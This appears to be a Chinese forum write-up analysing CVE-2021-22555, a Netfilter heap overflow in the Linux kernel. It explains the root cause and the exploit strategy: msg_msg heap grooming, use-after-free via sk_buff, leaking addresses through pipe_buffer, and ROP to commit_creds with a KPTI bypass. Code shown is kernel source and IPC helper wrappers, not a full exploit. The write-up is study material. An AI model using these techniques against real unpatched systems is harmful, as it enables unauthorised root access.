首页
社区
课程
招聘
[原创]CVE-2021-22555_Netfilter堆溢出提权漏洞
发表于: 2022-5-24 16:30 22493

[原创]CVE-2021-22555_Netfilter堆溢出提权漏洞

2022-5-24 16:30
22493

参考文章:

CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)

或者我写的菜鸡项目:

KernelAll

要注意的是,在我写的项目里的CVE环境中,去掉了配置:CONFIG_SECURITY=n,原因是在load_msg()函数中申请msg_msg结构体时,如下所示,会调用到security_msg_msg_alloc()函数,给msg_msg结构体中的security指针赋值,导致下面漏洞利用时读取伪造msg_msg结构体由于检测security导致出错。

而去掉了配置:CONFIG_SECURITY=n,可以不用security指针,这样就不会出错了

但是在bsauce师傅提供的环境中有添加该配置,而security指针的值却还是为空。简单看了一下源码,如下函数链

对于lsm_msg_msg_alloc()函数如下定义

可以看到这里进行相关赋值,如果满足blob_sizes.lbs_msg_msg == 0那么其security指针为空,后续检测时也依据此判断不检测。而对于这个blob_sizes.lbs_msg_msg不是很熟悉,可能是我的相关配置问题吧。这里为了方便,我就直接将这个配置去掉了。

此外经过实际测试,源码也可以看出来,其实security也就是一个堆地址(以0x8递增),是不断变化的,但是如果能泄露出其中一个,那么后续检测就能都通过了。

完成这个漏洞的利用还是需要一些前置知识的,刚好利用这个漏洞重新完善一下相关的知识点。

这个在之前也总结过,不过总结得有些错误,也不太完善,这里再好好总结一下

参照:【NOTES.0x08】Linux Kernel Pwn IV:通用结构体与技巧 - arttnba3's blog

Linux内核中利用msg_msg结构实现任意地址读写 - 安全客,安全资讯平台 (anquanke.com)

Linux的进程间通信 - 消息队列 · Poor Zorro's Linux Book (gitbooks.io)

《Linux系统编程手册》

虽然写的是最大kmalloc-1024,但是在堆喷时,可以连续kmalloc(1024)从而获得连续的堆内存分布,这样都释放掉之后再经过回收机制就可以申请到更大的kmallo-xx了。

首先创建queue_id管理标志,对应于内核空间的msg_queue管理结构

使用简单封装的msgget函数或者系统调用号__NR_msgget,之后保存数据的消息就会在这个queue_id管理标志,以及内核空间的msg_queue管理结构下进行创建

写入消息:

然后就可以依据queue_id写入消息了,不同于pipesocketpair,这个需要特定的封装函数(msgsnd/msgrcv)或者对应的系统调用(__NR_msgrcv/__NR_msgsnd)来实现。

读取消息:

之后即可依据queue_id读取消息

mtype

可通过设置该值来实现不同顺序的消息读取,在之后的堆块构造中很有用

msg_flag

可以关注一下MSG_NOERROR标志位,比如说msg_flag没有设置MSG_NOERROR的时候,那么情况如下:

假定获取消息时输入的长度m_ts_size0x200,且这个长度大于通过find_msg()函数获取到的消息长度0x200,则可以顺利读取,如果该长度小于获取到的消息长度0x200,则会出现如下错误

但是如果设置了MSG_NOERROR,那么即使传入接收消息的长度小于获取到的消息长度,仍然可以顺利获取,但是多余的消息会被截断,相关内存还是会被释放,这个在源代码中也有所体现。

此外还有更多的msg_flag,就不一一举例了。

这个主要是用到msgctl封装函数或者__NR_msgctl系统调用,直接释放掉所有的消息结构,包括申请的msg_queue的结构

不过一般也用不到,可能某些合并obj的情况能用到?

此外还有更多的cmd命令,常用来设置内核空间的msg_queue结构上的相关数据,不过多介绍了。

总结一下大致的使用方法如下

还是需要先创建msg_queue结构体,使用msgget函数,调用链为

主要还是关注最后的newque()函数,在该函数中使用kvmalloc()申请堆块,大小为0x100,属于kmalloc-256,(不同版本大小貌似不同)。

创建的结构体如下所示

接着当使用msgsnd函数传递消息时,会创建新的msg_msg结构体,消息过长的话就会创建更多的msg_msgseg来存储更多的消息。相关的函数调用链如下:

主要还是关注在alloc_msg()函数

msg_msg结构体如下,头部大小0x30

如下所示

<img src="https://pig-007.oss-cn-beijing.aliyuncs.com/img/image-20220511220130886.png" alt="image-20220511220130886" style="zoom:80%;" />

msg_msgseq结构如下,只是一个struct msg_msgseg*指针

如下所示

<img src="https://pig-007.oss-cn-beijing.aliyuncs.com/img/image-20220511220627775.png" alt="image-20220511220627775" style="zoom:80%;" />

在一个msg_queue队列下,消息长度为0x1000-0x30-0x8-0x8-0x8

一条消息:

image-20220511231539231

两条消息:

msg_queuestruct list_head q_messages;域为链表头,和msg_msg结构的struct list_head m_list域串联所有的msg_msg形成双向循环链表

未命名文件

同理,同一个msg_queue消息队列下的多条消息也是类似的

调用完alloc_msg()函数后,回到load_msg()函数接着进行数据复制,函数还是挺简单的。

相关的函数调用链

首先关注一下do_msgrcv()函数,里面很多东西都比较重要

一般而言,我们使用msg_msg进行堆构造(比如溢出或者其他什么的)的时候,当需要从消息队列中读取消息而又不想释放该堆块时,会结合MSG_COPY这个msgflg标志位,防止在读取的时候发生堆块释放从而进行双向循环链表的unlink触发错误。

使用这个标志位还需要在内核编译的时候设置CONFIG_CHECKPOINT_RESTORE=y才行,否则还是会出错的

注:还有一点不知道是不是什么bug,在某些内核版本中,至少我的v5.11中,MSG_NOERRORMSG_COPY(后续会讲到)没有办法同时生效,关键点在于copy_msg()函数中,转化成汇编如下:

image-20220512163536660

注意到红框的部分,获取rdi(msg)rsi(copy)对应的m_ts进行比较,而copym_ts是从用户传进来的想要获取消息的长度,如果小于实际的msgm_ts长度,那就标记错误然后退出。可以这个比较应该是在后面才会进行的,但是这里也突然冒出来,就很奇怪,导致这两个标志位没办法同时发挥作用。

同理如果不指定MSG_COPY这个标志时,从消息队列中读取消息就会触发内存释放,这里就可以依据发送消息时设置的mtype和接收消息时设置的msgtpy来进行消息队列中各个位置的堆块的释放。

不管什么标志位,只要不是MSG_NOERRORMSG_COPY联合起来,并且申请读取消息长度size小于通过find_msg()函数获取到的实际消息的m_ts,那么最终都会走到do_msgrcv()函数的末尾,通过如下代码进行数据复制和堆块释放

这样,当我们通过之前提到的double-free/UAF,并且再使用setxattr来对msg_msgmsg中的m_ts进行修改,这样在我们调用msgrcv的时候就能越界从堆上读取内存了,就可能能够泄露到堆地址或者程序基地址。

使用setxattr的时候需要注意释放堆块时FD的位置,不同内核版本开启不同保护下FD的位置不太一样

为了获取到地址的成功性更大,我们就需要用到单个msg_queue和单个msg_msg的内存模型

image-20220511113542467

可以看到单个msg_msgmsg_queue的管理下形成双向循环链表,所以如果我们通过msggetmsgsnd多申请一些相同大小的且只有一个msg_msg结构体的msg_queue,那么越界读取的时候,就可以读取到只有单个msg_msg的头部了

而单个msg_msg由于双向循环链表,其头部中又存在指向msg_queue的指针,那么这样就能泄露出msg_queue的堆地址了。

完成上述泄露msg_queue的堆地址之后,就需要用到msg_msg的内存布局了

由于我们的msg_msg消息的内存布局如下

5IcVxRaFQtg3HCW

相关读取源码如下:

所以如果我们可以修改next指针和m_ts,结合读取msg最终调用函数store_msg的源码,那么就能够实现任意读取。

那么接着上面的,我们得到msg_queue之后,可以再将msg_msg的next指针指回msg_queue,读出其中的msg_msg,就能获得当前可控堆块的堆地址。

这样完成之后,我们结合userfaultfdsetxattr频繁修改next指针就能基于当前堆地址来进行内存搜索了,从而能够完成地址泄露。

同时需要注意的是,判断链表是否结束的依据为next是否为null,所以我们任意读取的时候,最好找到一个地方的next指针处的值为null。

同样的,msg_msg由于next指针的存在,结合msgsnd也具备任意地址写的功能。我们可以在拷贝的时候利用userfaultfd停下来,然后更改next指针,使其指向我们需要的地方,比如init_cred结构体位置,从而直接修改进行提权。

参照:(31条消息) Linux系统调用:pipe()系统调用源码分析_rtoax的博客-CSDN博客_linux pipe 源码**

通常来讲,管道用来在父进程和子进程之间通信,因为fork出来的子进程会继承父进程的文件描述符副本。这里就使用当前进程来创建管道符,从管道的读取端(pipe_fd[0])和写入端(pipe_fd[1])来进行利用。

其中pipe2函数或者系统调用__NR_pipe2flag支持除0之外的三种模式,可用在man手册中查看。

如果传入的flag为0,则和pipe函数是一样的,是阻塞的。

阻塞状态:即当没有数据在管道中时,如果还调用read从管道读取数据,那么就会使得程序处于阻塞状态,其他的也是类似的情况。

会默认创建两个fd文件描述符的,该fd文件描述符效果的相关结构如下

放入到pipe_fd中,如下

效果如下:

image-20220509161948796

之后使用write/read来写入读取即可,注意写入端为fd[1],读取端为fd[0]

由于pipe管道创建后会对应创建文件描述符,所以释放两端对应的文件描述符即可释放管道pipe管道

需要将两个文件描述符fd都给释放掉或者使用read将管道中所有数据都读取出来,才会进入free_pipe_info函数来释放在线性映射区域申请的相关内存资源,否则还是不会进入的。

发生在调用pipe/pipe2函数,或者系统调用__NR_pipe/__NR_pipe2时,内核入口为

函数调用链:

调用之后会在内核的线性映射区域进行内存分配,也就是常见的内核堆管理的区域。分配点在如下函数中:

相关的pipe_inode_info结构如下

直接使用close函数释放管道相关的文件描述符fd两端。

函数链调用链:

需要注意的时,在put_pipe_info函数中

只有pipe_inode_info这个管理结构中的files成员为0,才会进行释放,也就是管道两端都关闭掉才行。

相关释放函数free_pipe_info

pipe_buffer结构的buf

其中的ops成员,即struct pipe_buf_operations结构的pipe->bufs[i]->ops,其中保存着全局的函数表,可通过这个来泄露内核基地址,相关结构如下所示

当关闭了管道的两端时,调用到free_pipe_info函数,在清理pipe_buffer时进入如下判断:

当管道中存在未被读取的数据时,即我们需要调用write向管道的写入端写入数据

然后不要将数据全部读取出来,如果全部读取出来的话,那么在read对应的pipe_read函数中就会如下情况

从而调用pipe_buf_releasebuf->ops清空。

注:(其实这里既然调用到了pipe_buf_release函数,那么我们直接通过read将管道pipe中的所有数据读取出来,其实也能执行该release函数指针的,从而劫持程序控制流的。)

那么接着上述的情况,那么在关闭两端时buf->ops这个函数表就会存在

image-20220509192251738

而当buf->ops这个函数表存在时,关闭管道符两端进入上述判断之后,就会调用到其中的pipe_buf_release函数,该函数会调用到这个buf->ops函数表结构下对应的relase函数指针,该指针在上述的pipe_buf_operations结构中有提到

image-20220509193945468

那么如果劫持了buf->ops这个函数表,就能控制到release函数指针,从而劫持控制流程。

不过pipe管道具体的保存的数据放在哪里,还是不太清楚,听bsauce说是在struct pipe_buffer结构下bufpage里面,但是没有找到,后续还需要继续看看,先mark一下。这样也可以看出来,每写入一条信息时,内核的kmalloc对应的堆内存基本是不发生变化的,与下面提到的sk_buff有点不同。

参考:(31条消息) socketpair的用法和理解雪过无痕的博客-CSDN博客_socketpair

和该结构体相关的是一个socketpair系统调用这个也算是socket网络协议的一种,但是是在本地进程之间通信的,而非在网络之间的通信。说到底,这个其实和pipe非常像,也是一个进程间的通信手段。不过相关区分如下:

此外在《Linux系统编程手册》一书中提到,pipe()函数实际上被实现成了一个对socketpair的调用。

然后和pipe管道一样,使用write/read即可,不过这个的fd两端都可以写入读取,但是消息传递的时候一端写入消息,就需要从另一端才能把消息读取出来

可以看到和pipe是很相似的。

在调用socketpair这个系统调用号时,并不会进行相关的内存分配,只有在使用write来写入消息,进行数据传输时才会分配。

在调用write进行数据写入时

函数链:

unix_stream_sendmsg开始分叉

先进行相关内存申请,即sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()

还是挺长的,但是最重要的还是最后的__alloc_skb函数,

相关内存申请完成之后,回到unix_stream_sendmsg函数,开始进行数据复制skb_copy_datagram_from_iter,即上述提到的。

当从socker套接字中读取出某条信息的所有数据时,就会发生该条信息的相关内存的释放,即该条信息对应sk_buffskb->data的释放。同样的,如果该条信息没有被读取完毕,则不会发生该信息相关内存的释放。

read时进行的函数调用链:

同样的在unix_stream_read_generic处开始分叉,也是分为两部分,下面截取重要部分

之后的函数调用链为

最终进入__skb_datagram_iter

这里使用了感觉很复杂的机制,不是很懂。

进入内存释放的函数调用链为

释放skb->data部分:

对应函数如下:

可以看到使用的正常的kfree函数

释放skb部分:

相关函数如下

这个就不太好利用了。

同样的,当关闭的信道的两端,该信道内产生的所有的sk_buffskb->data都会得到释放

当从信道中将某条消息全部读取完之后,会发生该条消息对应的sk_buffskb->data的内存释放,且sk_buff释放到专门的缓存池中,skb->data使用正常的kfree释放

当关闭信道两端,该信道内产生的所有的sk_buffskb->data都会得到释放,具体的调用链为:

后面就类似了。

由于我编译环境的时候老是出问题(后面才解决的),所以直接拿bsauce师傅提供的环境来用了,但是又没有带DEBUG的vmlinux,所以我使用vmlinux-to-elf简单获取下符号就开始逆向了(xs),所以下面漏洞分析提到的地址为bsauce师傅环境的地址。

CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)

相关的Netfilter分析就不做了,也不太会,可以看看bsauce师傅的,这里主要关注数据的传输过程的一些东西。

通过Netfiltersetsockopt系统调用,传入用户数据&data,可依据该&data中的相关数据进行不同大小的堆块申请。完成申请后,还会对该堆块进行一定的处理,其中就有向堆块末尾填充数据的操作。

其中t->data+target->targetsize即为申请的堆块上末尾处的某个地址,pad为如下定义

其实pad的值即为8 - (target->targetsize mod 8),就是所谓的8字节对齐。

并且t->data的地址偏移和target->targetsize的值都可被我们直接或间接地控制,那么就可以存在堆块溢出写0的操作了,这里最多溢出4个字节填充为0。

下面是具体的关键函数调用链和相关分析

句柄定义

这样到调用setsockopt系统调用时,就会调用到do_ipt_get_ctl函数。

参数:

调试如下image-20220501113945278

这个&data即为用户传入的,赋值给sockptr_t arg,从而依据sockptr_t arg来进行堆块申请和相关的漏洞填充操作。

地址:0xffffffff81b0bd20

介绍:该函数由nf_sockopt_ops ipt_sockopts进行句柄定义

即系统调用setsockopt实际调用到与漏洞方面有关的最早的函数,传入的sockptr_targ即为用户参数&data,后续会调用到compat_do_replace,传入sockptr_t arg

通过_copy_from_user复制&data0x5c字节给tmp

参数:

地址:0xffffffff81b0baf0

介绍:

主要关注变量:

调用translate_compat_table(),传入本函数定义的tmp作为compatr,该变量tmp由函数copy_from_sockptr(&tmp, arg, sizeof(tmp))进行赋值

这里的dst即为tmpsrc即为arg,也就是会依据arg(&data)的内容来给tmp赋值。即最后的compatr的来源为上述提到的sockptr_t arg,也就是用户传入的参数&data

&data中复制0x5c(sizeof(struct compat_ipt_replace))大小的给到tmp(compatr),如下代码所示

复制的这些数据中就包含定义好的size,用来完成之后的堆块申请。

参数:

地址:0xffffffff81b0b3e0

介绍:

主要关注变量:

sizesize = compatr->size;

newinfo:依据size即上述的compatr->size申请堆块,漏洞点就出在这个申请的堆块上面。

通过xt_alloc_table_info来申请堆块,其中有如下代码

可以看到使用kvmalloc,申请标志为GFP_KERNEL_ACCOUNT,并且XT_MAX_TABLE_SIZE定义如下,也就是在kmalloc-512到kmalloc-8192

pos/entry1

pos/entry1的值为newinfo_addr+0x40(0x4*3+0x14+0x14+0x4+0x8)

调用如下函数进行下一步:

参数:

地址:不太清楚

介绍:

主要关注变量:

相关操作:

这个函数和接下来的漏洞函数xt_compat_target_from_user可以说基本一致,观察下图即可看到,具体用来干什么不太清楚,但是作用也是相关的pad填充newinfo上的数据。打了一个循环xt_ematch_foreach,在我们关注的这个漏洞里,其作用就只是使得*dstptr + n * msize,也就是在我们关心的最终值为newinfo_addr+0x40+0x70+n * msize,从而使得在进入xt_compat_target_from_user之前,*dstptr上的堆块地址已经移动到末尾了。

<img src="https://pig-007.oss-cn-beijing.aliyuncs.com/Img/image-20220507214923917.png" alt="image-20220507214923917" style="zoom: 80%;" /> <img src="https://pig-007.oss-cn-beijing.aliyuncs.com/Img/image-20220507214947982.png" alt="image-20220507214947982" style="zoom: 80%;" />

做了一个数据对比:

也就是说经过xt_compat_match_from_user函数之后,保存在*dstptr上的漏洞堆的地址已经加上了0xf2a

终于来到最后的漏洞函数

参数:

地址:0xFFFFFFFF81A82F75

介绍:

主要关注变量

相关操作:

通过上述分析可以看到,其实该漏洞的成因就是

通过控制传入的&data中的pad的大小来控制申请的堆块的大小和t->data的相对偏移地址

例子:

比如bsauce师傅提供的EXP中的pad如下,这里使用的是kmalloc-4096

那么我们尝试使用kmalloc-2048,在代码中减去0x800得到如下:

断点打在xt_alloc_table_info,在第二次的xt_alloc_table_info申请漏洞堆块处,查看下CPU0的kmalloc-2048freelist中的堆块。

image-20220508200120767

然后finish当前函数,查看rax申请到的堆块,即为freelist中的第一个堆块

image-20220508200155851

可以看到是从CP0的kmalloc-2048中申请得到的,之后在call memset的漏洞点打下断点,按c继续运行,断下来

image-20220508200407354

可以看到仍然还是该漏洞堆块,并且相关的地址也类似的,pad为0x4,所以还是存在漏洞点的。

不过具体的细节有点不太清楚,后续还得补一补Netfilter的相关知识。

通过控制传入的data.target.u.user.revision来控制target->targetsize

不同的version控制不同的target->targetsize

这里经过我自己的实际调试,感觉bsauce师傅说的有点小问题。漏洞点应该是出在上述的t->daii地址没有0x8对齐的时候,并且target->size也没有0x8对齐的情况下。

此外,不应该只是2字节溢出,最多应该可以到达4字节溢出,如下设置

这样可以溢出4个字节写0,最终效果如下:

image-20220508204003227

如果再加pad的话就会导致申请出kmalloc-8192的堆块了

这里涉及到之前提到的msg_msg结构体利用。

首先使用msgget申请多个消息队列,然后往每个消息队列发送两条消息,一条主消息0x1000,一条辅助消息0x400。这里发送消息时需要注意下,先遍历每个队列发送主消息,然后再遍历每个队列发送辅助消息。这样进行堆喷构造后,其中就会有部分的消息队列中的主消息连成一整块地址连续的内存,辅助消息也需要地址连成一整块,方便后续泄露地址,但是这里为了好看就没有连一起。比如这里申请三个消息队列,最终形成类似的如下布局

image-20220513110107919

当然这里每条0x1000的主消息中还有几个struct msg_msgseg*没有画出来

这里我们先释放例子中的第二条主消息,虽说在主消息中是由4个kmalloc(0x400)申请出来的4个堆块,但是如果都释放之后,内存的回收机制发现这四个地址连续且都被释放,那么就会归并成一页page还给Slub分配器,其实就是kmalloc-4096。(里面算法很复杂,不是很懂,后面再来理清楚。)之后再申请0x1000大小的堆块,就会优先从这里取。

image-20220513110346186

然后我们使用漏洞,调用socketopt来申请一个0x1000xt_table_info,就会占据到我们刚刚释放的0x1000大小的堆块上。(这个前面我们分析socketopt会申请两个0x1000大小的堆块,那么我们之后就是多释放几条主消息即可)这样在占据之后,发生2字节溢出写0,就可以溢出到下一个消息队列的msg_msg头部结构的struct list_head m_list.next指针,从而使得其指向其他位置,如果运气好的话,由于辅助消息也是堆喷形式,且大小为0x400,那么溢出两字节写0就可能将该next指针指向其他的辅助消息,从而造成两个消息队列中共存一个辅助消息。

image-20220513110927931

比如图中消息队列3中的主消息头部的struct list_head m_list.next即被修改(黑色为溢出2字节写0),如红色箭头所示指向了消息队列1中的辅助消息,这样消息队列1和消息队列3都指向了同一个辅助消息,构成了堆块overlap。之后我们释放消息队列1中的辅助消息,而消息队列3仍然指向该辅助消息,构成了UAF。

注:在实际的利用里,需要进行堆喷布局,申请很多的消息队列,这时候就需要用MSG_COPY标志位来进行消息读取。利用此标志位读取消息但不释放堆块,然后借助发送消息时自己留下的索引标志来判断到底是哪个辅助消息被两个消息队列所包含,这样就能进行后续的利用。

首先使用sk_buffdata数据块来占据该UAF堆块。前面提到sk_buff的结构头使用独有的缓冲池kache来申请,但是其data数据块还是使用kmalloc常规路线来申请释放(使用正常的发包收包即可完成申请释放),并且sizedata内容完全可控,这样我们就可以完全控制该UAF堆块。

之后伪造一个fake_msg_msg结构体,结构如下

image-20220513112451162

改大其m_ts域,就可以读取出消息队列2的辅助消息头部指针struct list_head m_list.next的值,从而泄露消息队列2的msg_msg_queuestruct list_head m_list域的地址,为一个堆地址。

之后我们修改fake_msg_msgstruct msg_msgseg *next指针,指向上述获得的消息队列2的struct list_head m_list域的地址,就能读出该struct list_head m_list域的prev指针,即为消息队列2的辅助消息的地址,减去0x400即为UAF堆块的地址

接下来利用到pipe管道,主要是其中struct pipe_inode_infostruct pipe_buffer *bufs;数组,总大小为0x280,使用kmalloc-1024,满足当前的UAF(同样使用正常的read/write即可完成申请释放)。其结构为

利用如下操作读取const struct pipe_buf_operations *ops;指针,即可泄露内核基地址

image-20220513115154194

之前也提到过,当我们关闭管道pipe两端或者从管道pipe中读取出所有数据之后,会调用到pipe_buf_release()函数进行清理,其中会调用struct pipe_buffer *bufs;下的const struct pipe_buf_operations *ops;对应函数表中的release函数指针。

现在我们就可以通过sk_buff来劫持劫持ops指针函数表,修改其中的release函数指针,完成劫持程序流。并且此时的rsi即为buf为我们的UAF对象,而sk_buff又可以使得UAF对象里的数据完全可控。如果找到一个可以将rsp劫持为rsigadget,那么就可以完全操控程序流程了。

这个其实也没有什么好讲的,看懂漏洞利用过程其实也很容易写出来的,主要提一下某些比较偏的知识点,也防止忘记。

通常是用来进行堆块分配时查看堆块内存的,防止堆块申请的时候东一个西一个的,方便调试,同时也是为了提高堆喷射的稳定性

EXP原作者称:当IPT_SO_SET_REPLACEIP6T_SO_SET_REPLACE在兼容模式下被调用时(需要CAP_NET_ADMIN权限)。

这个在源代码do_ipt_set_ctl()函数中有所体现

而用户空间隔离出独立的命名空间后就能拥有CAP_NET_ADMIN权限,所以需要,其实也不是太懂这个干啥的。

其他的好像也没有什么了,就是最后的ROP链条方面的东西,由于最后触发劫持程序流的时候,rsiUAF对象地址,所以利用gadget先进行栈劫持rsp,然后使用利用commit_creds(&init_cred)获取ROOT权限,之后使用SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE绕过KPTISMEP即可。

参考:【CVE.0x07】CVE-2021-22555 漏洞复现及简要分析 - arttnba3's blog

Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)

主要是bsauce师傅的EXParttnba3师傅的EXP,然后改巴改巴,加了点东西,替换了一下ROP链条什么的。

效果:

中间有个getchar(),按下回车即可,本来放这是为了方便调试的。

image-20220515143144038

不行的话可以多尝试几次

然后逃逸容器的我没尝试,也不太会,可以参考arttnba3师傅的容器逃逸EXP

CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)

【CVE.0x07】CVE-2021-22555 漏洞复现及简要分析 - arttnba3's blog

CVE-2021-22555: Turning \x00\x00 into 10000$ | security-research (google.github.io)

太多了,有点贴不过来了....

 
 
 
//v5.11.14 /ipc/msgutil.c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;
 
    msg = alloc_msg(len);
    //....
    err = security_msg_msg_alloc(msg);
    if (err)
        goto out_err;
    return msg;
out_err:
    free_msg(msg);
    return ERR_PTR(err);
}
//v5.11.14 /ipc/msgutil.c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;
 
    msg = alloc_msg(len);
    //....
    err = security_msg_msg_alloc(msg);
    if (err)
        goto out_err;
    return msg;
out_err:
    free_msg(msg);
    return ERR_PTR(err);
}
//v5.11.14 /include/linux/security.h
#ifdef CONFIG_SECURITY
//.....
int security_msg_msg_alloc(struct msg_msg *msg);
void security_msg_msg_free(struct msg_msg *msg);
int security_msg_queue_alloc(struct kern_ipc_perm *msq);
void security_msg_queue_free(struct kern_ipc_perm *msq);
int security_msg_queue_associate(struct kern_ipc_perm *msq, int msqflg);
int security_msg_queue_msgctl(struct kern_ipc_perm *msq, int cmd);
int security_msg_queue_msgsnd(struct kern_ipc_perm *msq,
                  struct msg_msg *msg, int msqflg);
int security_msg_queue_msgrcv(struct kern_ipc_perm *msq, struct msg_msg *msg,
                  struct task_struct *target, long type, int mode);
//....
#else /* CONFIG_SECURITY */
//....
static inline int security_msg_msg_alloc(struct msg_msg *msg){return 0;}
static inline void security_msg_msg_free(struct msg_msg *msg){ }
 
static inline int security_msg_queue_alloc(struct kern_ipc_perm *msq){return 0;}
 
static inline void security_msg_queue_free(struct kern_ipc_perm *msq){ }
 
static inline int security_msg_queue_associate(struct kern_ipc_perm *msq,
                           int msqflg){return 0;}
 
static inline int security_msg_queue_msgctl(struct kern_ipc_perm *msq, int cmd){return 0;}
 
static inline int security_msg_queue_msgsnd(struct kern_ipc_perm *msq,
                        struct msg_msg *msg, int msqflg){return 0;}
 
static inline int security_msg_queue_msgrcv(struct kern_ipc_perm *msq,
                        struct msg_msg *msg,
                        struct task_struct *target,
                        long type, int mode){return 0;}
//....
#endif    /* CONFIG_SECURITY */
//v5.11.14 /include/linux/security.h
#ifdef CONFIG_SECURITY
//.....
int security_msg_msg_alloc(struct msg_msg *msg);
void security_msg_msg_free(struct msg_msg *msg);
int security_msg_queue_alloc(struct kern_ipc_perm *msq);
void security_msg_queue_free(struct kern_ipc_perm *msq);
int security_msg_queue_associate(struct kern_ipc_perm *msq, int msqflg);
int security_msg_queue_msgctl(struct kern_ipc_perm *msq, int cmd);
int security_msg_queue_msgsnd(struct kern_ipc_perm *msq,
                  struct msg_msg *msg, int msqflg);
int security_msg_queue_msgrcv(struct kern_ipc_perm *msq, struct msg_msg *msg,
                  struct task_struct *target, long type, int mode);
//....
#else /* CONFIG_SECURITY */
//....
static inline int security_msg_msg_alloc(struct msg_msg *msg){return 0;}
static inline void security_msg_msg_free(struct msg_msg *msg){ }
 
static inline int security_msg_queue_alloc(struct kern_ipc_perm *msq){return 0;}
 
static inline void security_msg_queue_free(struct kern_ipc_perm *msq){ }
 
static inline int security_msg_queue_associate(struct kern_ipc_perm *msq,
                           int msqflg){return 0;}
 
static inline int security_msg_queue_msgctl(struct kern_ipc_perm *msq, int cmd){return 0;}
 
static inline int security_msg_queue_msgsnd(struct kern_ipc_perm *msq,
                        struct msg_msg *msg, int msqflg){return 0;}
 
static inline int security_msg_queue_msgrcv(struct kern_ipc_perm *msq,
                        struct msg_msg *msg,
                        struct task_struct *target,
                        long type, int mode){return 0;}
//....
#endif    /* CONFIG_SECURITY */
load_msg()->security_msg_msg_alloc()->lsm_msg_msg_alloc()
load_msg()->security_msg_msg_alloc()->lsm_msg_msg_alloc()
static int lsm_msg_msg_alloc(struct msg_msg *mp)
{
    if (blob_sizes.lbs_msg_msg == 0) {
        mp->security = NULL;
        return 0;
    }
 
    mp->security = kzalloc(blob_sizes.lbs_msg_msg, GFP_KERNEL);
    if (mp->security == NULL)
        return -ENOMEM;
    return 0;
}
static int lsm_msg_msg_alloc(struct msg_msg *mp)
{
    if (blob_sizes.lbs_msg_msg == 0) {
        mp->security = NULL;
        return 0;
    }
 
    mp->security = kzalloc(blob_sizes.lbs_msg_msg, GFP_KERNEL);
    if (mp->security == NULL)
        return -ENOMEM;
    return 0;
}
 
 
 
 
 
 
//key要么使用ftok()算法生成,要么指定为IPC_PRIVATE
//代表着该消息队列在内核中唯一的标识符
//使用IPC_PRIVATE会生成全新的消息队列IPC对象
int32_t make_queue(key_t key, int msg_flag)
{
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}
 
int queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
//key要么使用ftok()算法生成,要么指定为IPC_PRIVATE
//代表着该消息队列在内核中唯一的标识符
//使用IPC_PRIVATE会生成全新的消息队列IPC对象
int32_t make_queue(key_t key, int msg_flag)
{
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}
 
int queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
typedef struct
{
        long mtype;
        char mtext[1];
}msgp;
 
//msg_buf实际上为msgp,里面包含mtype,这个mtype在后面的堆块构造中很有用
void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
        perror("msgsend failure");
        exit(-1);
    }
    return;
}
 
char queue_send_buf[0x2000];
m_ts_size = 0x400-0x30;//任意指定
msg *message = (msg *)queue_send_buf;
message->mtype = 0;
send_msg(queue_id, message, m_ts_size, 0);
typedef struct
{
        long mtype;
        char mtext[1];
}msgp;
 
//msg_buf实际上为msgp,里面包含mtype,这个mtype在后面的堆块构造中很有用
void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
        perror("msgsend failure");
        exit(-1);
    }
    return;
}
 
char queue_send_buf[0x2000];
m_ts_size = 0x400-0x30;//任意指定
msg *message = (msg *)queue_send_buf;
message->mtype = 0;
send_msg(queue_id, message, m_ts_size, 0);
void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
        perror("msgrcv");
        exit(-1);
    }
    return;
}
 
char queue_recv_buf[0x2000];
m_ts_size = 0x400-0x30;//任意指定
get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
        perror("msgrcv");
        exit(-1);
    }
    return;
}
 
char queue_recv_buf[0x2000];
m_ts_size = 0x400-0x30;//任意指定
get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
 
 
 
//v5.11 /ipc/msg.c do_msgrcv函数中
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
    msg = ERR_PTR(-E2BIG);
    goto out_unlock0;
}
//v5.11 /ipc/msg.c do_msgrcv函数中
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
    msg = ERR_PTR(-E2BIG);
    goto out_unlock0;
}
//其中IPC_RMID这个cmd命令代表释放掉该消息队列的所有消息,各种内存结构体等
if(msgctl(queue_id,IPC_RMID,NULL)==-1)
{
    perror("msgctl");
    exit(-1);
}
//其中IPC_RMID这个cmd命令代表释放掉该消息队列的所有消息,各种内存结构体等
if(msgctl(queue_id,IPC_RMID,NULL)==-1)
{
    perror("msgctl");
    exit(-1);
}
 
typedef struct
{
        long mtype;
        char mtext[1];
}msgp;
 
